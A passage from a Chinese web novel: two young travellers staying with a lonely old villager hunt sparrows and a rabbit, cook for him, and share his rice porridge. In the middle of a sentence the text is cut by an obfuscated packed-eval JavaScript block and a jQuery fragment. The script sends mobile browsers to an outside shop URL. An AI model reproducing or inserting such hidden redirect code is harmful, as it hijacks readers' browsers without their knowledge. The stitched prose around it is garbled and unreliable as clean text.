“饿了吗?”陈知白问。
沈钦卿摇了摇头,一夜没怎么睡好,她只感觉这会有些晕晕的,倒是没觉得饿。
陈知白也不管沈钦卿饿不饿,将柴火放到厨房里后,就拿了一个碗出来。
碗里装着两个二和面的馒头,还是热的。
“我早上用了老人家的柴火,将馒头热了一下。”
“这里也没什么条件,暂时将就一下,等会我出去看看,能不能抓到点啥猎物。”
沈钦卿点头,接过馒头咬了一口,本来确实不觉得饿,不过这会吃了一口,倒是突然开了胃口。
两个馒头,没有一会就吃完了。
她又喝了一大口的温水。
整个人也感觉舒服了许多。
“知白哥哥,你那柴是哪来的?”
虽然凭着陈知白的能力,想要在厚雪地里找些柴火并不是难事,但方才那一捆,沈钦卿瞧着明显是干的。
陈知白:“没瞧出来那些柴火,都是木板子劈开的?”
“嗯?”沈钦卿一时没理解。
陈知白:“村子里空着的屋子很多,许多门窗都坏了,我就将那些坏了的门窗都给劈了。”
原来是这样。
沈钦卿了然:“知白哥哥真厉害!”
陈知白笑笑,拍了拍沈钦卿的肩膀:“你先回屋,我去找一下闫老伯。”
闫老伯,显然就是收留他们的老人家了。
沈钦卿点头,回了屋子里。
没有一会,陈知白就回来了:“待会我要出去捕猎,你就在家休息一会吧?”
若是以往,陈知白肯定要带着沈钦卿一道去。
但经过昨日的事情,他感觉到沈钦卿的精神不是很好,所以打算让她在家里待着。
沈钦卿不想一个人待在这里,左右她精神也好了许多,就想跟着陈知白一块去。
陈知白见沈钦卿坚持,也没拒绝。
两人便一道出了门。
“前面有个林子,咱们过去瞧瞧,这种时候,去山里太危险。”
陈知白觉得,有沈钦卿在,他们也不需要冒险去什么山上。
沈钦卿没意见。
两人走到林子里,陈知白从随身的布袋里掏了一把谷子出来,而后朝着林子的上面散了上去。
没多久,一群饿极了的麻雀便纷纷出来抢食。
陈知白嘴角微勾,纵身一跃,那一只只麻雀就纷纷落在了地上。
沈钦卿眼疾手快,捡起麻雀就扔进了手上提着的布袋子里。
没有一会,就捡了十几只。
“知白哥哥,你谷子哪来的?”沈钦卿看着这一袋子的麻雀,心情有些激动。
麻雀虽小,但这么多只,也有不少肉了。
他们今儿晌午,终于能好好吃一顿了。
两人满载而归,在回去的路上,还抓了一只投怀送抱的兔子。
这兔子明显是被冻坏了,明明是冬眠的日子,却被逼出来营业。
沈钦卿一路上高兴坏了,叽叽喳喳的说个不停。
其实她空间里也有不少好吃的,但不到万不得已,还是不要拿出来的好。
倒不是沈钦卿信不过陈知白,她只是觉得,这样的秘密,越少人知道越好。
两人回了闫老伯的家里,闫老伯正坐在院子里用乌拉草编织东西。
见到两人回来了,只是点了点头。
沈钦卿见闫老伯身上的死气似乎消散了一些,好像有了一丝求生的欲望。
她走过去,将怀里抱着的兔子递到闫老伯的跟前,笑容甜美:“闫爷爷,兔子你喜欢麻辣味的还是红烧味的?”
闫老伯闻言抬头,在看到沈钦卿的笑容后,微微愣了一下。
而后才摇了摇头:“爷爷年纪大了,啥都咬不动了……”
“爷爷才不老,我让知白哥哥给爷爷炖的软烂一些!”
说着,也不顾闫老伯同不同意,就跑去找了陈知白。
闫老伯看着沈钦卿欢快的背影,嘴角微微上扬。
晌午陈知白下厨,沈钦卿指导。
闫老伯这里没什么调料,陈知白就在村子里转了一圈,用银子和几只麻雀同村子里仅剩的几户人家,换了一些做红烧兔肉的调料。
这只兔子很肥,差不多得有四斤多。
陈知白知道闫老伯咬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14117142|149824||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不动肉,特意煮的软烂了一些。
三个人一大锅的兔子肉,吃的满嘴流油。
就是闫老伯,也一口气吃了好多块。
一直等到吃完饭,他的嘴角都带着淡淡的笑意,整个人的生气也又浓郁了一些。
沈钦卿猜测之前闫老伯身上的那股死气,应当是家里人都离开了,他一个人在这里,又天寒地冻的,活着和死了好似也没什么区别。
想到这个,沈钦卿叹了口气。
他们迟早也是要离开的,等他们离开,闫老伯是不是……
沈钦卿没再想下去。
她祈祷这场战争可以尽快结束,天朝大胜,闫老伯的家人都能够回来陪着他。
下午陈知白又去村子里转了一圈,又背了许多柴回来。
而后将闫老伯屋子里的炕烧的热热的。
这
样一来,他晚上睡觉的时候,就不冷了。
晚上他们吃的是烤麻雀,闫老伯吃不了,陈知白就另外给他做了几只红烧麻雀,把肉炖的烂烂的。
闫老伯这一日吃的,可是比之前他儿子一家在的时候都好。
于是当天夜里,就闹了肚子。
沈钦卿听到动静出来,连忙拿了药给闫老伯服下。
闫老伯吃了药丸,肚子便奇迹般的不闹了。
他看向沈钦卿,笑着揉了揉她的小脑袋:“是爷爷吵到你了吗?”
沈钦卿摇头:“小八扶爷爷进屋歇息。”
“好,好。”闫老伯拍了拍沈钦卿的手,一脸的欣慰。
他能在人生最后几日有这两个孩子的陪伴,也够了。
第二日闫老伯起的很早,等陈知白起来的时候,他已经做好早饭了。
是一锅大米熬的白粥。
大米可是细粮,一般乡下人家,基本都不舍得拿出来单独做吃食,很多都是掺杂着粗粮一块煮。
闫老伯笑笑:“你们昨儿请我吃了肉,我自然也得请你们吃点好的。只是老头子我啊,就只剩这些大米了,惭愧,惭愧……”
陈知白过去扶他:“闫老伯,白粥已经很好了,刚好昨儿咱也吃的太油腻了,今儿清清肠胃。”